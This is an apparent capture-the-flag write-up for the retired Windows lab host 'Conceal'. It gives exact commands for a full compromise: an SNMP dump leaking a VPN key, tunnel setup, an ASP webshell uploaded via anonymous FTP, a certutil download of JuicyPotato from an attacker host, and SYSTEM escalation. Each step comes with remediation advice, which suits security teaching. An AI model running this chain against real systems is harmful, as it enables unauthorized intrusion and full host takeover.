jperezduerto.info
Conceal
Windows· Hard
Summary
All TCP services on conceal ($TARGET) were hidden behind a host firewall that only permitted traffic arriving inside an IPsec VPN tunnel. The Simple Network Management Protocol service, left open with the default 'public' community string, leaked the VPN pre-shared key inside a MIB entry — a single unauthenticated UDP query bypassed the entire perimeter. With the key in hand, an IKE scan confirmed the exact cipher parameters and a strongSwan tunnel was configured, instantly exposing FTP, HTTP, and SMB.
The FTP service accepted anonymous connections with write access to a subdirectory physically inside the IIS web root; a classic ASP command-execution webshell uploaded there gave remote code execution as the low-privilege IIS account conceal\destitute and exposed the user flag. That account carried SeImpersonatePrivilege — a token right the IIS worker process commonly holds — which the JuicyPotato exploit converted into a SYSTEM shell by coercing a privileged COM server over a local RPC listener, granting full administrative control of the host and the root flag.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD="<a-password-you-choose>"Attack path — how the box was taken
1EnumerationSNMP MIB dump for credential disclosure (T1602.001 / CWE-200)
Extracted the IPsec pre-shared key from an open SNMP service
A UDP scan revealed SNMP (161/udp) answering with the default community string 'public' and IKE (500/udp). Walking the full SNMP MIB tree returned standard system OIDs, including sysDescr identifying the host as Windows Build 15063, and an enterprise OID entry containing the IPsec VPN pre-shared key as a plaintext hex string. This single unauthenticated query produced the only credential the host's firewall relied on to protect every TCP service — FTP, HTTP, and SMB included.
Snmpwalk -v2c -c public -On $TARGET returned system OIDs and an enterprise OID entry holding the IPsec PSK hex string; sysDescr confirmed Windows Build 15063.
Exact commands 2
Confirm SNMP and IKE are reachable on UDP before walking.
sudo nmap -sU -p 161,500 --open $TARGETDump the full MIB tree; record the hex PSK found in the enterprise OID subtree — it is used in step 3.
snmpwalk -v2c -c public -On $TARGETFixDisable SNMP or enforce SNMPv3 authentication and remove all secrets from MIB dataCritical
WeaknessSNMP was running with the unauthenticated default community string 'public', reachable from the network without any credential. An enterprise OID entry stored the IPsec VPN pre-shared key in plaintext inside the MIB tree. A single snmpwalk command from any reachable host retrieved this key, instantly defeating the firewall the entire host perimeter depended on.
FixDisable SNMP entirely if it is not required for network management; it was the root of the complete compromise chain. If SNMP is operationally necessary, upgrade immediately to SNMPv3 with authPriv mode (authentication plus privacy encryption), replace the 'public' community string with a long random value, and restrict SNMP access to a dedicated management station via a host-based firewall ACL. Never store credentials, PSKs, certificates, or any key material in SNMP OIDs. Immediately rotate the IPsec PSK and migrate IKE authentication from PSK to certificates (IKEv2 + PKI), eliminating any shared secret that could be exposed.
2EnumerationIKEv1 transform-set enumeration (T1046)
Identified IKEv1 cipher parameters via IKE scanning
An ike-scan probe against port 500/udp with the transform set 3DES / SHA-1 / PSK / Diffie-Hellman group 2 (modp1024) returned a successful IKEv1 Main Mode SA response. This confirmed the exact parameters the VPN gateway required, enabling a precisely configured strongSwan connection rather than a blind brute-force over hundreds of transform combinations. Without the PSK recovered in step 1, knowledge of these parameters alone would be useless.
Ike-scan -M --trans=5,2,1,2 $TARGET received a valid SA proposal response confirming 3DES/SHA1/PSK/DH-group-2 as the accepted transform.
Exact commands 1
Flags encode the transform: 5=3DES, 2=SHA1, 1=PSK, 2=DH group 2. A returned SA proposal in the output confirms these are accepted.
ike-scan -M --trans=5,2,1,2 $TARGET3ExploitationIPsec VPN unauthorized access via stolen PSK (T1133)
Established an IPsec VPN tunnel with the stolen PSK to unlock all TCP ports
A strongSwan transport-mode connection was built using the SNMP-derived PSK and the confirmed IKEv1 transform. Once the tunnel came up, a follow-up TCP scan showed FTP (21), IIS HTTP (80), and SMB (135/139/445) all reachable — they had been blocked by a firewall rule that only permits connections arriving inside an authenticated IPsec SA. Every subsequent step in this compromise depended on this tunnel remaining active.
After 'sudo ipsec up conceal' completed, nmap -Pn -sT -p 21,80,135,139,445 $TARGET showed all five previously filtered ports as open.
Exact commands 4
Write the strongSwan connection definition.
sudo tee /etc/ipsec.conf <<'EOF'
config setup
charondebug="ike 1, knl 1, cfg 0"
conn conceal
keyexchange=ikev1
left=%defaultroute
leftauth=psk
right=$TARGET
rightauth=psk
ike=3des-sha1-modp1024
esp=3des-sha1
type=transport
auto=start
EOFReplace <SNMP_DERIVED_PSK_HEX> with the hex string recovered from snmpwalk.
echo ': PSK "<SNMP_DERIVED_PSK_HEX>"' | sudo tee /etc/ipsec.secretsBring the tunnel up; verify with 'sudo ipsec status'.
sudo ipsec restart && sudo ipsec up concealConfirm FTP, HTTP, and SMB are now open through the tunnel.
nmap -Pn -sT -p 21,80,135,139,445 $TARGET4ExploitationUnauthenticated webshell upload via FTP into web root (T1505.003 / CWE-434)
Uploaded an ASP webshell via anonymous FTP into the IIS web root
The FTP service on port 21 accepted anonymous logins with write permission to the /upload/ directory, which was physically mapped inside the IIS web root. Uploading a classic ASP command-execution webshell and then browsing to its HTTP URL returned live output, confirming that IIS executed scripts placed there by FTP. The shared filesystem path between FTP write location and IIS serving location is the root cause: a file written over FTP immediately became executable over HTTP.
Curl -T cx2.asp ftp://$USERNAME:$PASSWORD@$TARGET/upload/ completed with 226 Transfer complete; GET /upload/cx2.asp?cmd=whoami returned conceal\destitute.
Exact commands 2
Upload the ASP webshell anonymously; cx2.asp should be a standard cmd= exec shell such as cmdasp.asp from SecLists (/webshells/asp/).
curl -T cx2.asp ftp://$USERNAME:$PASSWORD@$TARGET/upload/cx2.aspConfirm the shell executes and returns command output.
curl -sS -G --data-urlencode 'cmd=whoami' "http://$TARGET/upload/cx2.asp"FixDisable anonymous FTP write access and isolate FTP directories from the IIS web rootCritical
WeaknessThe FTP service accepted anonymous logins with write permission to a directory physically inside the IIS web root. Anyone who could reach the FTP port could upload an ASP or ASPX file and execute it immediately over HTTP, converting unauthenticated file-write access into remote code execution with no additional steps.
FixDisable anonymous FTP authentication entirely and require named accounts with strong, unique passwords and least-privilege directory ACLs. Physically separate the FTP upload path from every directory IIS has a virtual directory or application mapping to — uploads must land in a quarantine folder the web server cannot serve. Where FTP and IIS must coexist near the same paths, remove script engine handler mappings (ISAPI, CGI, ASP) from the FTP-writable directory in IIS Manager so that uploaded files are served as static content only and never executed. For file transfer consider replacing FTP with SFTP or FTPS, which also encrypt credentials in transit.
5Initial AccessWebshell command execution for credential and flag access (T1505.003)
Executed commands through the webshell and captured the user flag
The ASP webshell provided command execution as conceal\destitute, the IIS application pool identity. The user flag was read directly from the account's desktop via a type command. A follow-up 'whoami /all' call through the same webshell returned the account's full token privilege list, confirming SeImpersonatePrivilege was set to Enabled — the right needed to escalate to SYSTEM in the next phase.
GET /upload/cx2.asp?cmd=type+C:\Users\destitute\Desktop\user.txt returned the user flag value; whoami /all confirmed SeImpersonatePrivilege Enabled for conceal\destitute.
Exact commands 2
Read the user flag; expected output: <user.txt>.
curl -sS -G --data-urlencode 'cmd=type C:\Users\destitute\Desktop\user.txt' "http://$TARGET/upload/cx2.asp"Inspect token privileges; confirm SeImpersonatePrivilege is listed as Enabled before proceeding.
curl -sS -G --data-urlencode 'cmd=whoami /all' "http://$TARGET/upload/cx2.asp"6Privilege EscalationSeImpersonatePrivilege abuse via COM server coercion — JuicyPotato (T1134.001)
Staged JuicyPotato and abused SeImpersonatePrivilege to impersonate SYSTEM
SeImpersonatePrivilege allows a process to assume the identity of any authentication token it receives, including SYSTEM-level tokens delivered by COM servers over RPC. JuicyPotato exploits this by opening a local RPC listener on an arbitrary port and coercing a registered COM server (identified by CLSID) into authenticating to it; the resulting SYSTEM token is captured and used to spawn a new process. PrintSpoofer and GodPotato were staged first but failed on this Windows Build 15063 host. CLSID {e60687f7-01a1-40aa-86ac-db1cbf673334} was confirmed to coerce a SYSTEM-level authentication on this exact build. JuicyPotato was downloaded via certutil, a native Windows binary the webshell could invoke without staging any additional download helper.
Validated: PrintSpoofer32.exe (22,016 bytes) staged to C:\Users\Public\ps32.exe via certutil and executed but produced no usable output. JuicyPotato with CLSID {e60687f7-01a1-40aa-86ac-db1cbf673334} on local port 1444 returned nt authority\system, confirming SYSTEM-level impersonation.
Exact commands 3
Serve JuicyPotato.exe from my host; run in the background.
python3 -m http.server 9000Stage JuicyPotato to a world-writable path via the native certutil downloader; replace $ATTACKER_IP with your IPsec tunnel-side IP.
curl -sS -G --data-urlencode "cmd=certutil -urlcache -split -f http://$ATTACKER_IP:9000/JuicyPotato.exe C:\Users\Public\jp.exe" "http://$TARGET/upload/cx2.asp"Test the CLSID; output 'nt authority\system' confirms SYSTEM impersonation. If empty, try additional CLSIDs from the JuicyPotato CLSID list for Windows 10 build 15063.
curl -sS -G --data-urlencode 'cmd=C:\Users\Public\jp.exe -l 1444 -t * -p C:\Windows\System32\cmd.exe -a "/c whoami" -c {e60687f7-01a1-40aa-86ac-db1cbf673334}' "http://$TARGET/upload/cx2.asp"FixRemove SeImpersonatePrivilege from the IIS application pool identityCritical
WeaknessThe IIS worker process (w3wp.exe) ran under an account that held SeImpersonatePrivilege. This privilege, combined with any code-execution foothold inside that process, allows an unauthorised user to obtain a SYSTEM-level token by coercing a privileged COM server over a local RPC pipe — the mechanism the entire Potato exploit family (JuicyPotato, PrintSpoofer, RoguePotato, GodPotato) relies on. The IIS service account does not need this privilege for normal web application operation.
FixRun each IIS application pool under the built-in IIS AppPool\<name> virtual account or a dedicated domain service account and confirm with 'whoami /priv' that SeImpersonatePrivilege is absent. Audit all service and application pool accounts for this privilege using a Group Policy privilege assignment audit or a scheduled 'whoami /priv' task. Upgrade to Windows Server 2019 or later where multiple Potato-family CLSIDs are patched. Configure Windows Defender Credential Guard to harden COM authentication coercion paths. Add an EDR detection rule to alert on unusual child processes spawned from w3wp.exe (e.g., cmd.exe, powershell.exe, jp.exe).
7Full CompromiseSYSTEM-level arbitrary file read via token impersonation (T1134.001)
Executed as SYSTEM and captured the root flag
With SYSTEM-level execution confirmed via the working CLSID, JuicyPotato was invoked to redirect the Administrator's desktop flag file to a world-readable staging path under C:\Users\Public\, then retrieved in a second webshell request. The host was fully compromised: my with network access to UDP 161 and 500 can replay this entire chain from zero to SYSTEM without any prior credentials.
JuicyPotato -c {e60687f7-01a1-40aa-86ac-db1cbf673334} wrote C:\Users\Administrator\Desktop\root.txt to C:\Users\Public\root.txt; reading that path via the webshell returned the root flag value.
Exact commands 2
Run JuicyPotato as SYSTEM; the /c argument writes root.txt to the staging path.
curl -sS -G --data-urlencode 'cmd=C:\Users\Public\jp.exe -l 1444 -t * -p C:\Windows\System32\cmd.exe -a "/c type C:\Users\Administrator\Desktop\root.txt > C:\Users\Public\root.txt" -c {e60687f7-01a1-40aa-86ac-db1cbf673334}' "http://$TARGET/upload/cx2.asp"Retrieve the root flag from the staging path; expected output: <root.txt>.
curl -sS -G --data-urlencode 'cmd=type C:\Users\Public\root.txt' "http://$TARGET/upload/cx2.asp"Attack patterns used
The transferable techniques behind this compromise.
SeImpersonate Abuse (Potato family)Windows · Privilege EscalationT1134.002
What it is
Service accounts (IIS, MSSQL, etc.) often hold SeImpersonatePrivilege. The 'Potato' exploits (JuicyPotato, RoguePotato, PrintSpoofer, GodPotato, JuicyPotatoNG) coerce a SYSTEM process to authenticate to an externally controlled COM/RPC/named-pipe endpoint, then impersonate that SYSTEM token — escalating from the service account to NT AUTHORITY\SYSTEM.
Why it works
Holding SeImpersonate is normal for service accounts, but Windows' token-impersonation model lets it be turned into full SYSTEM via local authentication coercion. Remediate by removing the privilege where unneeded and keeping hosts patched against the specific coercion vectors.
Read more
Exposed services
| 21/tcp | ftp |
| 80/tcp | http syn-ack |
| 135/tcp | msrpc syn-ack |
| 139/tcp | netbios-ssn syn-ack |
| 445/tcp | microsoft-ds syn-ack |
| 49664/tcp | unknown syn-ack |
| 49665/tcp | unknown syn-ack |